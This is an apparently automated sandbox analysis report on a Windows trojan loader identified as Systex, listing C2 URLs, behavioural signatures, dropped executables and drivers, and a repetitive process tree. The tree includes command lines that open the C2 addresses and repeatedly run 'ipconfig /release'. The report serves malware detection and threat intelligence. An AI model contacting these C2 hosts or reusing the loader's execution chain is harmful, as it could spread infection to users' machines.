Analysis
- max time kernel
150s - max time network
142s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
17/04/2026, 10:51
General
- Target 2026-04-17_6cbeee346879a3d0cb2566a9e572993a_elex_redline-stealer_rhadamanthys_stop.exe
- Size 230KB
- Sample260417-mx7waaex4v
- SHA256 ff293b3fafeea1ed78cd0de1dadcd9d587810c1008b7581b9c2e384b4379b32e
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba8102
-
http://xytets.com:2345/ll/out.txt
-
http://xytets.com:2345/t.asp?os=home8102
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 44 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 54 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious use of AdjustPrivilegeToken 20 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-04-17_6cbeee346879a3d0cb2566a9e572993a_elex_redline-stealer_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-04-17_6cbeee346879a3d0cb2566a9e572993a_elex_redline-stealer_rhadamanthys_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home81022⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4808 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4812 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\czurmkecwr.exe ups_run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\czurmkecwr.exeC:\Temp\czurmkecwr.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_czurmkecwr.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_czurmkecwr.exeC:\Temp\i_czurmkecwr.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\pjhbztrmje.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\pjhbztrmje.exeC:\Temp\pjhbztrmje.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_pjhbztrmje.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_pjhbztrmje.exeC:\Temp\i_pjhbztrmje.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\jdbwtolgey.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\jdbwtolgey.exeC:\Temp\jdbwtolgey.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_jdbwtolgey.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_jdbwtolgey.exeC:\Temp\i_jdbwtolgey.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\igaytqljdb.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\igaytqljdb.exeC:\Temp\igaytqljdb.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_igaytqljdb.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_igaytqljdb.exeC:\Temp\i_igaytqljdb.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\gbvtnlfdyv.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\gbvtnlfdyv.exeC:\Temp\gbvtnlfdyv.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_gbvtnlfdyv.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_gbvtnlfdyv.exeC:\Temp\i_gbvtnlfdyv.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ysqkidavsn.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ysqkidavsn.exeC:\Temp\ysqkidavsn.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ysqkidavsn.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ysqkidavsn.exeC:\Temp\i_ysqkidavsn.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\nhcausmkfc.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\nhcausmkfc.exeC:\Temp\nhcausmkfc.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_nhcausmkfc.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_nhcausmkfc.exeC:\Temp\i_nhcausmkfc.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\pkicausmkf.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\pkicausmkf.exeC:\Temp\pkicausmkf.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_pkicausmkf.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_pkicausmkf.exeC:\Temp\i_pkicausmkf.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\kecwupmhfz.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\kecwupmhfz.exeC:\Temp\kecwupmhfz.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_kecwupmhfz.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_kecwupmhfz.exeC:\Temp\i_kecwupmhfz.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\hbzurmjecw.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\hbzurmjecw.exeC:\Temp\hbzurmjecw.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_hbzurmjecw.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_hbzurmjecw.exeC:\Temp\i_hbzurmjecw.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\bytrljdbwt.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\bytrljdbwt.exeC:\Temp\bytrljdbwt.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_bytrljdbwt.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_bytrljdbwt.exeC:\Temp\i_bytrljdbwt.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\gbztrljdbw.exe ups_run2⤵
-
C:\Temp\gbztrljdbw.exeC:\Temp\gbztrljdbw.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_gbztrljdbw.exe ups_ins2⤵
-
C:\Temp\i_gbztrljdbw.exeC:\Temp\i_gbztrljdbw.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\bvtnlgdywq.exe ups_run2⤵
-
C:\Temp\bvtnlgdywq.exeC:\Temp\bvtnlgdywq.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_bvtnlgdywq.exe ups_ins2⤵
-
C:\Temp\i_bvtnlgdywq.exeC:\Temp\i_bvtnlgdywq.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\qlidavtnlg.exe ups_run2⤵
-
C:\Temp\qlidavtnlg.exeC:\Temp\qlidavtnlg.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_qlidavtnlg.exe ups_ins2⤵
-
C:\Temp\i_qlidavtnlg.exeC:\Temp\i_qlidavtnlg.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\icavsnkfdx.exe ups_run2⤵
-
C:\Temp\icavsnkfdx.exeC:\Temp\icavsnkfdx.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_icavsnkfdx.exe ups_ins2⤵
-
C:\Temp\i_icavsnkfdx.exeC:\Temp\i_icavsnkfdx.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\kfcxvpnhfa.exe ups_run2⤵
-
C:\Temp\kfcxvpnhfa.exeC:\Temp\kfcxvpnhfa.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_kfcxvpnhfa.exe ups_ins2⤵
-
C:\Temp\i_kfcxvpnhfa.exeC:\Temp\i_kfcxvpnhfa.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\zxrpjhczus.exe ups_run2⤵
-
C:\Temp\zxrpjhczus.exeC:\Temp\zxrpjhczus.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_zxrpjhczus.exe ups_ins2⤵
-
C:\Temp\i_zxrpjhczus.exeC:\Temp\i_zxrpjhczus.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\urmkecwuom.exe ups_run2⤵
-
C:\Temp\urmkecwuom.exeC:\Temp\urmkecwuom.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_urmkecwuom.exe ups_ins2⤵
-
C:\Temp\i_urmkecwuom.exeC:\Temp\i_urmkecwuom.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\rljdbwtomg.exe ups_run2⤵
-
C:\Temp\rljdbwtomg.exeC:\Temp\rljdbwtomg.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_rljdbwtomg.exe ups_ins2⤵
-
C:\Temp\i_rljdbwtomg.exeC:\Temp\i_rljdbwtomg.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\tomgeywqoj.exe ups_run2⤵
-
C:\Temp\tomgeywqoj.exeC:\Temp\tomgeywqoj.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_tomgeywqoj.exe ups_ins2⤵
-
C:\Temp\i_tomgeywqoj.exeC:\Temp\i_tomgeywqoj.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Temp\zuomgeywro.sysC:\Temp\zuomgeywro.sys1⤵
- Executes dropped EXE
-
C:\Temp\ywrojhbztr.sysC:\Temp\ywrojhbztr.sys1⤵
- Executes dropped EXE
-
C:\Temp\tolgdywqoi.sysC:\Temp\tolgdywqoi.sys1⤵
- Executes dropped EXE
-
C:\Temp\nigaysqlid.sysC:\Temp\nigaysqlid.sys1⤵
- Executes dropped EXE
-
C:\Temp\faxsqkicav.sysC:\Temp\faxsqkicav.sys1⤵
- Executes dropped EXE
-
C:\Temp\cavsnlfdxv.sysC:\Temp\cavsnlfdxv.sys1⤵
- Executes dropped EXE
-
C:\Temp\xupnhfzxsp.sysC:\Temp\xupnhfzxsp.sys1⤵
- Executes dropped EXE
-
C:\Temp\rpkhczusmk.sysC:\Temp\rpkhczusmk.sys1⤵
- Executes dropped EXE
-
C:\Temp\ojhbztrmje.sysC:\Temp\ojhbztrmje.sys1⤵
- Executes dropped EXE
-
C:\Temp\uomgeywroj.sysC:\Temp\uomgeywroj.sys1⤵
- Executes dropped EXE
-
C:\Temp\olgeywqojg.sysC:\Temp\olgeywqojg.sys1⤵
-
C:\Temp\igbytqljdb.sysC:\Temp\igbytqljdb.sys1⤵
-
C:\Temp\ysqkidavsn.sysC:\Temp\ysqkidavsn.sys1⤵
-
C:\Temp\xvpnifaysq.sysC:\Temp\xvpnifaysq.sys1⤵
-
C:\Temp\spkicausmk.sysC:\Temp\spkicausmk.sys1⤵
-
C:\Temp\kecxupnhfz.sysC:\Temp\kecxupnhfz.sys1⤵
-
C:\Temp\ezxrpjhbzu.sysC:\Temp\ezxrpjhbzu.sys1⤵
-
C:\Temp\jecwuomhez.sysC:\Temp\jecwuomhez.sys1⤵
-
C:\Temp\bztrljebwu.sysC:\Temp\bztrljebwu.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CP.exe
cavsnlfdxv.sys
czurmkecwr.exe
faxsqkicav.sys
gbvtnlfdyv.exe
i_czurmkecwr.exe
i_gbvtnlfdyv.exe
i_igaytqljdb.exe
i_jdbwtolgey.exe
i_nhcausmkfc.exe
i_pjhbztrmje.exe
i_ysqkidavsn.exe
igaytqljdb.exe
jdbwtolgey.exe
nhcausmkfc.exe
nigaysqlid.sys
pjhbztrmje.exe
tolgdywqoi.sys
xupnhfzxsp.sys
ysqkidavsn.exe
ywrojhbztr.sys
zuomgeywro.sys
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
RecoveryStore.{6DC0790C-3A4B-11F1-A918-4A5255D7F8CF}.dat
RecoveryStore.{6DC26B08-3A4B-11F1-A918-4A5255D7F8CF}.dat
suggestions[1].en-US
memory/648-158-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1112-93-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2088-162-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2136-130-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2376-142-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2848-21-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3500-105-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3532-154-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3652-109-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3900-81-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4100-134-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4276-166-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4300-146-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4732-150-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5288-33-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5400-67-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5428-45-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5704-138-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5768-126-0x0000000000010000-0x0000000000083000-memory.dmp